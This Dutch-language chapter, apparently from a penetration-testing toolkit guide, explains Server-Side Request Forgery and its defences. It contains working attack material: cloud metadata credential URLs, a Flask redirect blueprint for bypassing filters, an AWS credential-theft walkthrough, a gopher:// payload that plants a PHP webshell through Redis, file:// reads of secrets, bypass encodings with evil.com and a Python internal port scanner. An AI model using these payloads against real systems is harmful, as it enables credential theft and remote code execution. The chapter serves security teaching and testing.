Server-Side Request Forgery (SSRF)

Stel je voor dat je bij een groot bedrijf werkt. Je zit in de lobby en je hebt een verzoek. Je wilt een document ophalen uit de archiefkamer op de derde verdieping. Probleem: je hebt geen toegangspas voor de derde verdieping. Maar de receptioniste wel. Dus je zegt: “Kun je even dit document voor me ophalen uit kast 7B?” En de receptioniste, behulpzaam als altijd, loopt naar boven, opent de kast, en brengt je het document.

Nu stel je voor dat je in plaats van een onschuldig document vraagt: “Kun je even het dossier met alle salarissen ophalen?” De receptioniste heeft dezelfde toegangspas, dezelfde rechten, en dezelfde neiging om niet te vragen waarom je dat nodig hebt. Ze haalt het op. Ze geeft het aan je. Ze glimlacht erbij.

Dat is Server-Side Request Forgery. De server is je receptioniste. En ze doet alles wat je vraagt.


Wat is SSRF?

Server-Side Request Forgery is een kwetsbaarheid waarbij een aanvaller de server laat fungeren als proxy. In plaats van zelf een verzoek te sturen naar een intern systeem – wat niet kan, want het is intern – laat je de server dat verzoek namens jou doen. De server heeft immers toegang tot het interne netwerk. De server wordt vertrouwd door andere interne systemen. De server is een van hen.

Het fundamentele probleem is er een van vertrouwen. Interne netwerken zijn gebouwd op het principe dat alles wat zich binnen de perimeter bevindt, vertrouwd is. Servers praten met andere servers zonder authenticatie. Databases zijn bereikbaar zonder wachtwoord vanuit het interne netwerk. Metadata-services geven gevoelige informatie aan iedereen die ernaar vraagt – mits het verzoek van een “intern” IP-adres komt.

SSRF doorbreekt die aanname. Het verzoek komt technisch gezien van een interne server. Het IP-adres klopt. De firewall laat het door. Maar de intentie achter het verzoek is van een aanvaller die buiten de perimeter zit.

Het is het digitale equivalent van social engineering, maar dan tegen machines in plaats van mensen. En machines zijn nog slechter in het herkennen van verdachte verzoeken dan mensen. Wat iets zegt, want mensen zijn er al niet goed in.

Waar vind je SSRF?

SSRF verschuilt zich overal waar een server een URL accepteert en daar een verzoek naar doet. Denk aan:

In elk van deze gevallen neemt de server een door de gebruiker aangeleverde URL en maakt er een HTTP-request naartoe. En als de server niet controleert waar die URL naartoe wijst, heb je SSRF.


Cloud metadata: de goudmijn achter 169.254.169.254

En dan komen we bij het onderwerp dat SSRF van een theoretisch probleem heeft veranderd in een nachtmerrie voor elke cloudbeheerder: metadata-services.

Elke grote cloudprovider biedt een metadata-service aan. Het is een speciaal IP-adres – meestal 169.254.169.254 – waar instanties informatie over zichzelf kunnen opvragen. Welke regio ben ik? Welke instantie-type? Welke IAM-rol is aan mij gekoppeld? En, cruciaal: wat zijn mijn tijdelijke credentials om AWS/GCP/Azure API-calls te maken?

Die metadata-service is alleen bereikbaar vanaf de instantie zelf. Van buitenaf kun je er niet bij. Maar via SSRF? Via SSRF zit je op de instantie. Tenminste, vanuit het perspectief van de metadata-service.

AWS: het origineel

AWS was de eerste met een metadata-service, en daarmee ook de eerste die massaal werd misbruikt via SSRF. IMDSv1 is het makkelijkst:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/user-data/

De echte prijs zit in de IAM-credentials:

http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

Die eerste URL geeft je de naam van de IAM-rol. De tweede geeft je tijdelijke AWS-credentials: een access key, een secret key, en een session token. Met die credentials kun je de AWS API aanroepen als de server. S3-buckets lezen. DynamoDB-tabellen doorzoeken. EC2-instanties beheren. Afhankelijk van de rechten van die rol, kun je het volledige AWS-account overnemen.

Het is alsof de receptioniste niet alleen het salarisdossier voor je ophaalt, maar ook haar eigen pasje aan je geeft zodat je voortaan zelf overal in het gebouw kunt komen. Bedankt, receptioniste.

AWS IMDSv2: de pleister op de wond

Na talloze incidenten introduceerde AWS IMDSv2, dat een extra stap vereist:

# Stap 1: Token ophalen (vereist PUT-request met speciale header)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Stap 2: Metadata opvragen met token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/

IMDSv2 vereist een PUT-request met een custom header om een token te krijgen. Veel SSRF-kwetsbaarheden ondersteunen alleen GET-requests en kunnen geen custom headers sturen. Dat maakt IMDSv2 een stuk lastiger om te misbruiken.

Maar “lastiger” is niet “onmogelijk”. Als de SSRF-kwetsbaarheid volledige controle geeft over het HTTP-request (methode, headers, body), dan is IMDSv2 geen obstakel. En veel organisaties draaien nog steeds IMDSv1, omdat migratie naar v2 moeite kost en “we komen er nog wel aan toe”.

Google Cloud Platform

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id

GCP vereist een Metadata-Flavor: Google header. Maar – en hier wordt het interessant – die header-vereiste kan soms worden omzeild via een redirect. Als je de server een redirect laat volgen, wordt de header niet altijd meegestuurd naar de redirect-bestemming, maar sommige client-bibliotheken sturen hem wel mee. En dan is er nog de oudere v1beta1 API, die geen header vereist. We komen hier zo op terug bij het IB SSRF Lab.

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Azure vereist een Metadata: true header. Dezelfde kanttekeningen als bij GCP zijn van toepassing.

Andere cloud- en containeromgevingen

# DigitalOcean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/user-data

# Kubernetes
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
# Token locatie: /var/run/secrets/kubernetes.io/serviceaccount/token

# Oracle Cloud
http://192.0.0.192/latest/

# OpenStack
http://169.254.169.254/openstack

IB – Het commando web_ssrf_cloud in de Command Library bevat alle relevante metadata-endpoints voor AWS, GCP, Azure, DigitalOcean en Kubernetes. Het bevat ook de IMDSv2-instructies en opmerkingen over vereiste headers. Open het via het Commands dashboard wanneer je cloud metadata wilt targeten via SSRF.


Het IB SSRF Redirect Lab: filters omzeilen met flair

Nu komen we bij een van de slimste features van Incompetent Bastard. Het SSRF Lab is niet zomaar een verzameling endpoints. Het is een gereedschapskist vol redirects die specifiek zijn ontworpen om SSRF-filters te omzeilen.

Waarom redirects?

Veel applicaties hebben inmiddels basisbescherming tegen SSRF. Ze controleren de URL voordat ze het request doen: “Is dit een intern IP-adres? Is dit 169.254.169.254? Dan blokkeren we het.” Netjes. Goed gedaan. Zet maar een vinkje op de compliance-checklist.

Maar wat als de URL wijst naar jouw server – een volstrekt legitiem extern IP-adres – en jouw server een redirect teruggeeft naar 169.254.169.254? De filter controleert de oorspronkelijke URL. Die is extern. Prima, door laten. De server volgt de redirect. En opeens praat hij met de metadata-service.

Dit is waar het IB SSRF Lab om de hoek komt kijken. IB biedt elf redirect- endpoints die elk naar een ander intern doelwit verwijzen. De applicatie die je test controleert de URL naar jouw IB-server (extern, geen alarm), maar de redirect stuurt het verkeer naar waar jij het wilt hebben.

De endpoints

Alle endpoints gebruiken HTTP 307 redirects. Waarom 307 en niet 301 of 302? Omdat een 307-redirect de HTTP-methode en body behoudt. Een POST blijft een POST. Dit is cruciaal voor scenario’s waarin de SSRF-kwetsbaarheid in een POST-request zit.

Hier is de volledige inventaris van de ssrf_bp blueprint:

Endpoint Redirect naar Doel
/ssrf/aws http://169.254.169.254/latest/meta-data/iam/security-credentials AWS IAM credentials
/ssrf/openstack http://169.254.169.254/openstack OpenStack metadata
/ssrf/google http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true GCP metadata (v1beta1, geen header nodig)
/ssrf/oracle http://192.0.0.192/latest/ Oracle Cloud metadata
/ssrf/digitalocean http://169.254.169.254/metadata/v1.json DigitalOcean metadata
/ssrf/kubernetes http://192.0.0.192/latest/ Kubernetes/Oracle metadata
/ssrf/azure http://169.254.169.254/metadata/v1/maintenance Azure metadata
/ssrf/docker http://127.0.0.1:2375/v1.24/containers/json Docker API (container listing)
/ssrf/passwd file:////etc/passwd Lokaal bestand (Linux)
/ssrf/winini file:///c:/windows/win.ini Lokaal bestand (Windows)

Merk op dat het Google-endpoint slim naar v1beta1 verwijst in plaats van v1. De v1beta1-API van GCP vereist geen Metadata-Flavor-header. Dit is het soort detail dat het verschil maakt tussen een mislukte en een geslaagde test.

En kijk naar het Docker-endpoint. Het redirect naar de Docker API op 127.0.0.1:2375. Als Docker onbeveiligd draait (en dat doet het verrassend vaak op ontwikkelomgevingen), kun je via SSRF containers listen, aanmaken, en beheren. Container escape via een webapplicatie – het is bijna poëtisch.

Code-analyse: hoe het werkt

Laten we naar de daadwerkelijke code kijken. Het blueprint is elegant in zijn eenvoud:

from flask import Blueprint, redirect

ssrf_bp = Blueprint('ssrf_bp', __name__,
                    template_folder='html',
                    static_folder='static')

@ssrf_bp.route('/ssrf/aws', methods=['HEAD','GET', 'POST'])
def ssrf_aws():
    return redirect(
        'http://169.254.169.254/latest/meta-data/iam/security-credentials',
        code=307
    )

Elk endpoint accepteert HEAD, GET en POST. Het retourneert simpelweg een 307-redirect. Geen logica, geen validatie, geen overhead. Het is een doorgeefluik van het zuiverste soort.

Walkthrough: SSRF via redirect naar AWS credentials

Laten we een complete aanval doorlopen. Je hebt een webapplicatie gevonden met een URL-preview functie die kwetsbaar is voor SSRF. De applicatie draait op een AWS EC2-instantie. IB draait op jouw machine: 10.0.0.5:5000.

Stap 1: Test de basis

Voer in de URL-preview functie in:

http://10.0.0.5:5000/ssrf/aws

De applicatie denkt: “10.0.0.5 is een extern IP, geen probleem.” Ze stuurt een request naar jouw IB-server. IB antwoordt met een 307 redirect naar http://169.254.169.254/latest/meta-data/iam/security-credentials. De applicatie volgt de redirect. De metadata-service antwoordt met de naam van de IAM-rol.

Stap 2: Haal de credentials op

Nu je de rolnaam weet (bijvoorbeeld EC2-WebServer-Role), pas je de URL aan. Maar wacht – IB redirect naar het pad zonder rolnaam. Je hebt twee opties:

Optie A: De rolnaam is zichtbaar in de response van stap 1. Gebruik nu een directe SSRF (als de filter de redirect ook toestaat):

http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-WebServer-Role

Optie B: Als directe SSRF geblokkeerd is maar redirects werken, kun je je eigen redirect opzetten of IB’s routing aanpassen.

Stap 3: Gebruik de credentials

Met de AccessKeyId, SecretAccessKey en Token kun je de AWS CLI configureren:

export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJalrX..."
export AWS_SESSION_TOKEN="FwoGZX..."

# Nu kun je AWS API-calls maken als de server
aws s3 ls
aws iam list-users
aws ec2 describe-instances

Van een URL-invoerveld in een webapplicatie naar volledige AWS-toegang. In drie stappen. Dit is waarom SSRF in cloud-omgevingen een van de meest impactvolle kwetsbaarheden is die je kunt vinden.

IB – Test elk redirect-endpoint systematisch. Begin met /ssrf/aws en werk de lijst af. De Docker-endpoint (/ssrf/docker) wordt vaak vergeten maar kan in containerized omgevingen de meest verwoestende resultaten opleveren. Documenteer welke redirects gevolgd worden door de applicatie – dit zegt iets over de SSRF-filter die al dan niet aanwezig is.

IB – Alle SSRF-endpoints accepteren HEAD, GET en POST. Test alle drie de methoden. Sommige applicaties gebruiken HEAD voor URL-validatie (om te controleren of de URL bereikbaar is) en volgen daarbij ook redirects. Dit kan een ingang zijn, zelfs als de eigenlijke functie GET gebruikt.


Protocol smuggling: als HTTP niet genoeg is

SSRF gaat niet alleen over HTTP. Afhankelijk van de bibliotheek die de server gebruikt voor het doen van requests, kunnen ook andere protocollen beschikbaar zijn. En sommige van die protocollen zijn angstaanjagend krachtig.

file:// – Lokale bestanden lezen

Het meest voor de hand liggende alternatieve protocol:

file:///etc/passwd
file:///etc/hostname
file:///proc/self/environ
file:///var/www/html/config.php
file:///C:/windows/win.ini

/proc/self/environ is bijzonder interessant: het bevat de omgevingsvariabelen van het actieve proces. Database-wachtwoorden, API-keys, secret tokens – alles wat via environment variables is geconfigureerd (en dat is tegenwoordig de aanbevolen manier van configuratie, ironisch genoeg) staat daar.

Het IB SSRF Lab biedt twee redirect-endpoints voor lokale bestanden: /ssrf/passwd voor Linux en /ssrf/winini voor Windows. Ze zijn bedoeld als snelle proof-of-concept: als een van deze werkt, weet je dat de SSRF file:// ondersteunt en kun je gericht zoeken naar gevoelige bestanden.

gopher:// – Het Zwitsers zakmes

En dan is er gopher://. Een protocol uit 1991 dat bedoeld was als een soort gestructureerd internet voordat het web bestond. Vrijwel niemand gebruikt het nog voor zijn oorspronkelijke doel. Maar voor SSRF is het goud waard.

Gopher laat je willekeurige TCP-data sturen naar elke poort. Het is alsof je een onbeperkt aanpasbaar HTTP-request hebt, maar dan voor elk TCP-protocol. De syntax is eigenaardig – het eerste karakter van het pad wordt afgeknipt, dus je begint met een underscore als padding – maar de mogelijkheden zijn enorm.

HTTP-request via gopher:

gopher://127.0.0.1:80/_GET%20/admin%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0a

Dit stuurt een HTTP GET-request naar /admin op localhost poort 80. Handig als de SSRF-filter HTTP-URL’s naar localhost blokkeert, maar gopher doorlaat.

Redis via gopher:

gopher://127.0.0.1:6379/_SET%20shell%20%22<%3fphp%20system($_GET['cmd'])%3b%20%3f>%22%0d%0aCONFIG%20SET%20dir%20/var/www/html%0d%0aCONFIG%20SET%20dbfilename%20shell.php%0d%0aSAVE%0d%0a

Dit is waar het echt gevaarlijk wordt. Dit gopher-request: 1. Schrijft een PHP-webshell naar een Redis-key 2. Configureert Redis om zijn database op te slaan in de webroot 3. Slaat op – en nu staat er een webshell op de server

Van SSRF naar Remote Code Execution via een Redis die “alleen intern bereikbaar” was. De onzichtbare hand van de vrije markt heeft hier gefaald.

Memcached via gopher:

Vergelijkbaar met Redis. Als Memcached op het interne netwerk draait zonder authenticatie (standaard), kun je via gopher data injecteren, cachewaarden manipuleren, en soms sessieopslag saboteren.

dict:// – Service fingerprinting

Het dict-protocol is ontworpen voor woordenboek-lookups. In de context van SSRF is het nuttig voor service banner grabbing:

dict://127.0.0.1:6379/INFO
dict://127.0.0.1:11211/stats

Het eerste commando haalt Redis-informatie op. Het tweede haalt Memcached- statistieken op. Niet zo krachtig als gopher, maar goed voor verkenning.

Localhost bypass: als 127.0.0.1 geblokkeerd is

Veel SSRF-filters blokkeren 127.0.0.1 en localhost. Maar er zijn talloze manieren om hetzelfde IP-adres te schrijven:

http://127.0.0.1       # Standaard
http://0.0.0.0         # Alle interfaces
http://[::1]           # IPv6 loopback
http://0177.0.0.1      # Octaal
http://2130706433      # Decimaal
http://0x7f000001      # Hexadecimaal
http://127.1           # Verkorte notatie
http://localtest.me    # DNS-naam die naar 127.0.0.1 resolvet

Elk van deze verwijst naar hetzelfde adres, maar een naieve filter die alleen op de string “127.0.0.1” controleert, laat ze allemaal door. Het is alsof je een uitsmijter hebt die mensen weigert die “Jan” heten, maar “Johannes”, “Johan”, “Jansen”, en “J.” gewoon doorlaat.

IB – Het commando web_ssrf_protocols bevat een complete referentie voor alternatieve URL-schema’s: file:// voor lokale bestanden, gopher:// voor willekeurige TCP-communicatie, dict:// voor service fingerprinting, en een uitgebreide lijst localhost-bypass varianten. Raadpleeg dit commando wanneer HTTP-gebaseerde SSRF geblokkeerd lijkt te zijn.


Interne port scanning via SSRF

Een SSRF-kwetsbaarheid is niet alleen een manier om data te stelen. Het is ook een scanner. Door systematisch interne IP-adressen en poorten te benaderen via de SSRF, kun je het interne netwerk in kaart brengen zonder er fysiek toegang toe te hebben.

Hoe het werkt

Het principe is eenvoudig: je stuurt SSRF-requests naar interne IP’s en poorten en observeert de respons. De verschillen in respons vertellen je of een poort open of dicht is:

Het verschil in responstijd is vaak het meest betrouwbare signaal. Een “connection refused” op poort 3306 komt binnen milliseconden terug. Een open MySQL-poort die een onherkenbaar protocol-request ontvangt, wacht een paar seconden voordat hij opgeeft. Dat tijdsverschil is je kompas.

Veelgezochte interne poorten

22    - SSH
80    - HTTP
443   - HTTPS
3306  - MySQL
5432  - PostgreSQL
6379  - Redis
8080  - Tomcat / alternatief HTTP
8443  - Alternatief HTTPS
9200  - Elasticsearch
27017 - MongoDB

Subnet scanning

In de meeste interne netwerken zijn de RFC 1918-ranges in gebruik:

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16

Begin bij de meest waarschijnlijke subnetten en scan de eerste paar adressen:

http://10.0.0.1:PORT
http://172.16.0.1:PORT
http://192.168.1.1:PORT

Microservice discovery

In moderne architecturen draaien diensten vaak als microservices met voorspelbare hostnamen:

http://api-gateway:8000
http://auth-service:3000
http://user-service:5000
http://admin:8080

In Docker-omgevingen:

http://host.docker.internal:PORT

In Kubernetes:

http://SERVICE.NAMESPACE.svc.cluster.local

Geautomatiseerd scannen

Een Python-scriptje om port scanning via SSRF te automatiseren:

import requests

ssrf_url = "http://target.com/api/preview"

ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200, 27017]

for port in ports:
    try:
        r = requests.post(
            ssrf_url,
            json={"url": f"http://127.0.0.1:{port}/"},
            timeout=5
        )
        print(f"Port {port}: {r.status_code} - {len(r.content)} bytes "
              f"- {r.elapsed.total_seconds():.2f}s")
    except requests.Timeout:
        print(f"Port {port}: TIMEOUT (mogelijk open)")
    except Exception as e:
        print(f"Port {port}: ERROR - {e}")

Let op de drie datapunten: statuscode, response-grootte, en responstijd. Elk kan informatie bevatten. Een 500-error met 2000 bytes is anders dan een 500-error met 200 bytes – de eerste bevat waarschijnlijk een foutmelding van de interne service.

IB – Het commando web_ssrf_scan bevat een referentie voor veelgebruikte interne poorten, subnet-ranges, microservice-hostnamen en een Python- scannerscript. De command-tips benadrukken dat response time-verschil de meest betrouwbare indicator is, maar dat error message-verschil nog betrouwbaarder is. Combineer beide methoden voor het beste resultaat.


Blind SSRF: als de server niets teruggeeft

Net als bij blind XXE is er ook blind SSRF: de server doet het request, maar je ziet niets van de respons. De applicatie toont geen inhoud, geen foutmelding, geen verschil in gedrag. Alles wat je weet is dat de server ergens een request naartoe heeft gestuurd.

Bevestiging via callback

De eenvoudigste manier om blind SSRF te bevestigen is een callback naar een server die je controleert:

http://JOUW_SERVER/ssrf_confirm

Als je in je access log een inkomend request ziet, weet je dat de SSRF werkt. De User-Agent header van dat request is vaak verhelderend: python-requests/2.28, Java/11.0.2, curl/7.68 – het vertelt je welke library de server gebruikt, wat weer hints geeft over welke protocollen en features beschikbaar zijn.

DNS-based detectie

Als HTTP-callbacks geblokkeerd zijn, kun je DNS gebruiken:

http://uniek-id.jouw-domein.com/

De server moet een DNS-lookup doen om deze URL te resolven, zelfs als het HTTP-request zelf geblokkeerd wordt. Op je DNS-server zie je de query binnenkomen. Dit is dezelfde techniek als bij blind XXE – DNS is het kanaal dat bijna nooit geblokkeerd wordt.

Van blind SSRF naar impact

Blind SSRF is lastiger te exploiteren, maar niet waardeloos:

Het verschil tussen blind en niet-blind SSRF is het verschil tussen een inbreker die kan zien wat hij doet en een inbreker die in het donker werkt. De een is efficienter, maar de ander kan nog steeds schade aanrichten.


SSRF filter bypasses: een kat-en-muisspel

Verdedigers implementeren filters. Aanvallers omzeilen ze. Het is een eeuwig kat-en-muisspel, en de kat verliest vaker dan je zou willen.

IP-adres notatie-varianten

We zagen al de localhost-varianten. Hetzelfde geldt voor elk intern IP-adres. 10.0.0.1 kan ook worden geschreven als:

http://10.0.0.1        # Standaard
http://0xa000001       # Hexadecimaal
http://167772161       # Decimaal
http://012.0.0.1       # Octaal
http://10.0.0.1.nip.io # DNS-service die naar het IP resolvet

DNS rebinding

Een geavanceerde techniek waarbij je een domein configureert dat afwisselend naar een extern en een intern IP-adres resolvet. De filter controleert het domein, krijgt het externe IP, en laat het door. Wanneer de server het eigenlijke request doet, resolvet het domein opeens naar een intern IP.

Dit vereist controle over een DNS-server en is complexer om op te zetten, maar het omzeilt vrijwel elke filter die alleen het IP-adres controleert op het moment van validatie.

URL-parsing discrepanties

Verschillende componenten parsen URL’s anders. Een filter kan een URL interpreteren als verwijzend naar een extern IP, terwijl de HTTP-client die het request doet, dezelfde URL interpreteert als intern:

http://evil.com@127.0.0.1/
http://127.0.0.1#@evil.com
http://127.0.0.1\@evil.com

De eerste URL bevat een gebruikersnaam (evil.com) en een hostname (127.0.0.1). Als de filter alleen naar het domein kijkt en evil.com extraheert, laat hij de URL door. Maar de HTTP-client verbindt met 127.0.0.1.

Open redirects als SSRF-proxy

En hier komen de IB redirect-endpoints weer terug. Een open redirect op een vertrouwde server is een SSRF-filter-bypass. De filter ziet een URL naar ib-server.com (extern, vertrouwd), maar de redirect stuurt het request door naar 169.254.169.254.

Dit is precies waarvoor IB’s SSRF Lab is ontworpen: het biedt een batterij aan redirect-endpoints die je kunt inzetten wanneer directe SSRF geblokkeerd is maar redirects gevolgd worden.


SSRF en XXE: de heilige alliantie

In het vorige hoofdstuk zagen we al dat XXE en SSRF hand in hand gaan. Een XXE-kwetsbaarheid is bijna per definitie ook een SSRF-kwetsbaarheid, omdat external entities HTTP-requests kunnen doen:

<!DOCTYPE data [
    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>

Dit is tegelijkertijd een XXE (de entity wordt opgelost) en een SSRF (de server doet een request naar een intern adres). Het is als twee-voor-de-prijs- van-een, maar dan met kwetsbaarheden.

Als je een XXE vindt, test altijd op SSRF. En als je een SSRF vindt in een XML-endpoint, test altijd op XXE. De kans is groot dat je beide hebt.


Verdediging: hoe je voorkomt dat je server een proxy wordt

Allowlists, geen blocklists

De eerste en belangrijkste regel: gebruik een allowlist, geen blocklist. Definieer welke domeinen en IP-ranges de server mag benaderen, en blokkeer al het andere.

Een blocklist die “127.0.0.1” en “169.254.169.254” blokkeert, is als een dam met twee vingers in de gaten terwijl de rest van de dam uit kaas bestaat. Je kunt niet alle mogelijke bypass-varianten blocklisten. Er zijn er te veel, en er worden er steeds meer uitgevonden.

Een allowlist draait de logica om: alleen expliciet toegestane bestemmingen zijn bereikbaar. Alles wat niet op de lijst staat, wordt geblokkeerd. Simpel, effectief, en bestand tegen creatieve bypass-technieken.

Valideer na DNS-resolutie

Controleer niet alleen de URL die de gebruiker opgeeft, maar ook het IP-adres waarnaar het domein resolvet. En doe die controle direct voor het request, niet eerder. Dit voorkomt DNS-rebinding-aanvallen.

import socket
import ipaddress

def is_safe_url(url):
    hostname = extract_hostname(url)
    ip = socket.gethostbyname(hostname)
    addr = ipaddress.ip_address(ip)

    # Blokkeer private en reserved ranges
    if addr.is_private or addr.is_reserved or addr.is_loopback:
        return False

    # Blokkeer link-local (169.254.x.x)
    if addr.is_link_local:
        return False

    return True

Schakel onnodige protocollen uit

Als je server alleen HTTP en HTTPS nodig heeft, blokkeer dan alle andere protocollen: file://, gopher://, dict://, ftp://. De meeste HTTP- bibliotheken ondersteunen deze protocollen standaard, maar je kunt ze uitschakelen via configuratie.

IMDSv2 afdwingen op AWS

Als je op AWS draait, schakel IMDSv1 uit en gebruik uitsluitend IMDSv2:

aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required \
    --http-endpoint enabled

--http-tokens required betekent dat de metadata-service alleen reageert op requests met een geldig token. Dat token is alleen verkrijgbaar via een PUT-request met een custom header – iets wat de meeste SSRF-kwetsbaarheden niet kunnen.

Egress filtering

Beperk uitgaand verkeer van je servers. Als je webserver alleen hoeft te praten met je database en een paar externe API’s, configureer dan de firewall zo dat alleen die verbindingen zijn toegestaan. Al het andere uitgaande verkeer wordt geblokkeerd.

Dit voorkomt niet dat een SSRF-kwetsbaarheid wordt misbruikt voor interne verkenning, maar het beperkt de impact drastisch. De server kan geen credentials naar een aanvaller sturen als uitgaand verkeer naar willekeurige IP’s geblokkeerd is.

Aparte netwerksegmenten

De metadata-service, de database, de cache-server, de admin-interface – ze horen allemaal niet op hetzelfde netwerksegment als de webserver. Segmenteer je netwerk zodat de webserver alleen kan bereiken wat hij strikt nodig heeft.

Dit is het netwerkequivalent van het principe van least privilege: geef elke component alleen toegang tot wat het nodig heeft en niets meer. Het klinkt vanzelfsprekend. Het gebeurt bijna nooit.


Het eerlijke gesprek over SSRF in 2026

Hier is het ding over SSRF dat niemand hardop zegt: het is een architectuurprobleem dat wordt behandeld als een applicatieprobleem.

De reden dat SSRF werkt, is niet dat ontwikkelaars dom zijn. Het is dat de architectuur van cloud computing – en van interne netwerken in het algemeen – is gebouwd op de aanname dat interne verzoeken vertrouwd zijn. De metadata- service op 169.254.169.254 heeft geen authenticatie. Redis op het interne netwerk heeft geen wachtwoord. De admin-interface is bereikbaar zonder VPN.

Elke keer dat een beveiligingsincident via SSRF plaatsvindt, wordt de schuld gelegd bij de ontwikkelaar die de URL niet valideerde. Maar de ontwikkelaar werkt in een omgeving waar “intern” gelijkstaat aan “veilig”, waar de metadata- service credentials uitdeelt aan iedereen die ernaar vraagt, en waar netwerksegmentatie iets is waar men “nog aan toekomt”.

SSRF is niet het probleem. SSRF is het symptoom. Het echte probleem is dat we in 2026 nog steeds systemen bouwen die vertrouwen op de vraag “waar komt dit request vandaan?” in plaats van op de vraag “wie stuurt dit request en mag die persoon dit doen?”

Totdat we die fundamentele verschuiving maken – van netwerk-gebaseerd vertrouwen naar identiteit-gebaseerd vertrouwen, van implicit trust naar zero trust – zal SSRF blijven bestaan. En zullen penetratietesters als een soort digitale huisartsen steeds hetzelfde recept uitschrijven: “U moet echt iets aan die bloeddruk doen.” “Ja dokter, ik kom er nog wel aan toe.”

Het verschil is dat als je je bloeddruk negeert, je zelf de consequenties draagt. Als je SSRF negeert, draagt je klant de consequenties. En je klant weet niet eens dat de metadata-service geen authenticatie heeft. Die vertrouwt erop dat jij dat geregeld hebt.

De server doet gewoon wat je vraagt. Misschien is het tijd dat we de server leren om nee te zeggen.


Samenvatting

SSRF is de kwetsbaarheid die laat zien hoe fragiel het concept van een “vertrouwd intern netwerk” is. Het transformeert een webserver van een gecontroleerd toegangspunt in een springplank naar alles wat intern bereikbaar is. Cloud metadata, interne services, databases, caches – alles is een URL verwijderd.

De verdediging vereist meer dan een URL-filter. Het vereist architecturale veranderingen: allowlists in plaats van blocklists, IMDSv2 in plaats van IMDSv1, netwerksegmentatie, egress filtering, en het verlaten van de aanname dat intern verkeer vertrouwd is.

IB biedt met het SSRF Redirect Lab en de bijbehorende command files een complete toolkit om SSRF te testen in gecontroleerde omgevingen. Van cloud metadata tot protocol smuggling, van interne port scanning tot filter bypass – alles wat je nodig hebt om een organisatie te tonen hoe kwetsbaar hun “interne” netwerk werkelijk is.


Referenties

Bron URL
OWASP SSRF Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
PortSwigger Web Security Academy – SSRF https://portswigger.net/web-security/ssrf
PayloadsAllTheThings – SSRF https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
AWS IMDSv2 Documentatie https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
GCP Metadata Server https://cloud.google.com/compute/docs/metadata/overview
Azure Instance Metadata Service https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
Orange Tsai – SSRF Research https://blog.orange.tw/
IB Command: web_ssrf_cloud Command Library in het IB dashboard
IB Command: web_ssrf_protocols Command Library in het IB dashboard
IB Command: web_ssrf_scan Command Library in het IB dashboard
IB SSRF Lab: ssrf_bp blueprint meuk/flask/ssrf.py